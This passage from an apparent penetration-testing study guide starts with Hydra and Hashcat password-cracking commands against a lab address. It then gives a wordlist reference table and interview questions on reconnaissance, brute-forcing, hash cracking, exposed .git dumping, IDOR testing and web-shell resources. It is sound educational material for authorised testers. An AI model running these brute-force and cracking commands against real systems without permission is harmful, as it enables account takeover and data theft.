# 2a. ONLINE attempt (live login service) with Hydra
hydra -l admin -P target_words.txt ssh://10.10.10.5

# 2b. OFFLINE attempt (you already have hashes) with Hashcat + rules
hashcat -m 1000 -a 0 ntlm.txt target_words.txt -r rules/best64.rule

# 3. Validate any hit by actually logging in, then check reuse
ssh admin@10.10.10.5             # confirm it works
hydra -l admin -p '<found_pw>' ftp://10.10.10.5   # test reuse elsewhere
```

Why this order works better than jumping straight to rockyou.txt

- CeWL targets words the organisation actually uses — names, products, jargon — which real employees often base passwords on
- A small targeted list finds matches in seconds instead of hours through 14 million generic rockyou.txt entries
- Rules (best64.rule) automatically try the realistic variations humans add: capital first letter, trailing 123/!/year
- Only fall back to full rockyou.txt + heavier rules if the targeted list finds nothing

Master Wordlist Reference

Which wordlist for which job

Use case	Wordlist	Why
Directory / file brute-forcing	/usr/share/wordlists/dirb/common.txt	Fast first pass, a few thousand common paths
Directory / file brute-forcing	SecLists Discovery/Web-Content/raft-medium-directories.txt	Thorough second pass after common.txt
Directory / file brute-forcing	SecLists Discovery/Web-Content/directory-list-2.3-medium.txt	Very popular general-purpose list
Subdomain / vhost discovery	SecLists Discovery/DNS/subdomains-top1million-5000.txt	Fast subdomain sweep
Subdomain / vhost discovery	SecLists Discovery/DNS/subdomains-top1million-110000.txt	Deep subdomain sweep
Parameter fuzzing	SecLists Discovery/Web-Content/burp-parameter-names.txt	Finds hidden GET/POST parameter names
Password attacks (online + offline)	/usr/share/wordlists/rockyou.txt	THE classic 14M real-world password list
Password attacks — fast first pass	SecLists Passwords/Common-Credentials/10k-most-common.txt	Quick check before committing to rockyou
Password attacks — usernames	SecLists Usernames/top-usernames-shortlist.txt	Common usernames for -L lists in Hydra/Medusa
Password mangling rules	John/Hashcat best64.rule, OneRuleToRuleThemAll.rule	Turns 'password' into Password1!, P@ssw0rd, etc.
Target-specific (self-made)	CeWL output from the target's own website	Highest hit-rate — real words the target actually uses
Web shells / payload testing	SecLists Web-Shells/, PayloadsAllTheThings repo	Ready-made shells and injection payloads for confirmed vulns

Most SecLists paths live under /usr/share/seclists/ once installed (sudo apt install seclists on Kali/Parrot).

Master Interview Questions (VAPT)

1. Walk me through your VAPT methodology using these tools.
   Recon (Nmap/RustScan/Masscan) to find hosts+ports, then service-specific enumeration (Nikto/Gobuster/ffuf for web, enum4linux for SMB), vulnerability scanning (Nessus/OpenVAS/Nuclei) to find known issues, manual/automated exploitation (sqlmap/Metasploit/Hydra) to confirm impact, then reporting with evidence.

2. Nmap vs Masscan vs RustScan — when do you use which?
   Masscan for internet-scale/very large ranges needing raw speed on a couple of ports. RustScan for a fast full-port sweep of one or a handful of hosts, then auto-handing off to Nmap. Nmap itself whenever you need real service/version/OS detail or NSE scripting.

3. How do you decide between Hydra and Medusa?
   They cover mostly the same protocols; Hydra is usually the default choice, Medusa is the fallback when a specific module misbehaves in Hydra or as a cross-check on an important finding.

4. Nessus/OpenVAS vs Nuclei — how are they different?
   Nessus/OpenVAS are broad, deep, mostly-authenticated vulnerability scanners covering OS/network/app-layer issues with CVSS scoring. Nuclei is template-based, extremely fast, great for known CVEs and exposed panels across many hosts, but narrower per-template scope.

5. Why generate a custom wordlist with CeWL instead of just using rockyou.txt?
   Real people reuse company/product/personal words from their own environment; a CeWL list targeted at the organisation's own site often cracks passwords rockyou.txt misses, and is much faster to search through.

6. What is the difference between John the Ripper and Hashcat?
   Both crack hashes offline. Hashcat uses GPU acceleration and is dramatically faster for supported algorithms; John is CPU-based, very flexible with formats (files, archives, easier to fetch/prep with tools like unshadow/zip2john) and still excellent for many use cases.

7. You found an open /.git directory — what next?
   Confirm with curl .../.git/HEAD, then pull the full repository with git-dumper/wget -r, and inspect commit history and current files for hardcoded credentials, API keys or sensitive logic.

8. What do you do after Gobuster/ffuf finds /backup or a .sql file?
   Download it immediately and inspect contents — treat it as high/critical since backups often contain full database dumps or credentials; do not brute-force further before confirming this easy win.

9. How would you use curl to test for an IDOR/broken authorization issue?
   Send authenticated requests for a resource you own, then repeat with just the ID changed (e.g. /api/user/101 → /api/user/102) using the same curl -H Authorization header, and see whether you can access another user's data.

10. What is Nmap's NSE 'vuln' category and how confident are its results?
    A collection of scripts that check services against known CVEs. Useful as a fast lead-generator, but findings should be manually verified (e.g. with Metasploit or a manual PoC) before being reported as confirmed vulnerabilities.

11. How do you avoid locking out real user accounts during a brute-force test?
    Check the account lockout policy first, use a small high-quality wordlist before a huge one, keep thread count low (-t 1-4), and prefer testing against a single throwaway/test account when possible.

12. What is the safest order to run Nikto, Gobuster and Nuclei against a web target?
    There's no strict order — they can run in parallel since they test different things: Nikto for known misconfig/vuln signatures, Gobuster/ffuf for hidden custom paths, Nuclei for known CVEs/exposed panels. Correlate all three results before deciding what to manually verify next.

Tip: structure every answer as **What it is -> Why/when you use it -> How you actually run it -> What you do with the result.**